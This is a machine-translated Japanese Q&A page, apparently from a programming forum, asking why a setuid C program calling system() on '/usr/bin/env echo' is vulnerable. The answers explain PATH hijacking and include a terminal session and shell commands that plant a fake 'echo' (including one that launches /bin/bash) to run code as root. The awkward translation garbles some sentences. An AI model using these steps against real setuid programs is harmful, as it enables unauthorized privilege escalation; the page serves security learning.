このCコードについて何が脆弱ですか?
-
25-10-2019 - |
質問
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>
int main(int argc, char **argv, char **envp)
{
gid_t gid;
uid_t uid;
gid = getegid();
uid = geteuid();
setresgid(gid, gid, gid);
setresuid(uid, uid, uid);
system("/usr/bin/env echo and now what?");
}
私がそれを理解する方法では、上記のコードは任意のコード(またはプログラム)の実行を許可します。これを脆弱にし、これをどのように活用しますか?
解決
オーバーライドできます PATH
カスタムバージョンでディレクトリを指す変数 echo
それ以来 echo
使用して実行されます env
, 、組み込みとして扱われていません。
これは、コードが特権ユーザーとして実行される場合にのみ脆弱性を構成します。
以下の例では、VCには質問のコードが含まれています。
$ cat echo.c
#include <stdio.h>
#include <unistd.h>
int main() {
printf("Code run as uid=%d\n", getuid());
}
$ cc -o echo echo.c
$ cc -o v v.c
$ sudo chown root v
$ sudo chmod +s v
$ ls -l
total 64
-rwxr-xr-x 1 user group 8752 Nov 29 01:55 echo
-rw-r--r-- 1 user group 99 Nov 29 01:54 echo.c
-rwsr-sr-x 1 root group 8896 Nov 29 01:55 v
-rw-r--r-- 1 user group 279 Nov 29 01:55 v.c
$ ./v
and now what?
$ export PATH=.:$PATH
$ ./v
Code run as uid=0
$
実際のユーザーIDの設定、効果的なユーザーID、およびセットユーザー-IDが電話によって保存されたことに注意してください setresuid()
通話の前に system()
質問に掲載されている脆弱なコードでは、特権ユーザーIDに設定されている場合でも、効果的なユーザーIDが設定されていても、実際のユーザーIDのままであっても、脆弱性を悪用することができます(たとえば、Set-User-IDビットに依存している場合の場合上記のファイル)。通話なし setresuid()
シェルが走る system()
効果的なユーザーIDをリアルユーザーIDに戻し、エクスプロイトが無効になります。ただし、特権ユーザーの実際のユーザーIDで脆弱なコードが実行される場合、 system()
単独で電話で十分です。引用 sh
男ページ:
シェルが実際のユーザー(グループ)IDと等しくない効果的なユーザー(グループ)IDで開始され、-Pオプションが提供されない場合、スタートアップファイルは読み取られません。シェル関数は環境から継承されません。変数は、環境に表示される場合、無視され、効果的なユーザーIDが実際のユーザーIDに設定されます。 -pオプションが呼び出し時に提供される場合、スタートアップ動作は同じですが、効果的なユーザーIDはリセットされません。
また、それに注意してください setresuid()
ポータブルではありませんが setuid()
また setreuid()
同じ効果にも使用できます。
他のヒント
実際にシステム関数呼び出しであなたはを台無しにすることができます echo
指図。たとえば、次のコードを実行する場合:
echo "/bin/bash" > /tmp/echo
chmod 777 /tmp/echo && export PATH=/tmp:$PATH
ファイルの所有者の許可を得てシェルを取得します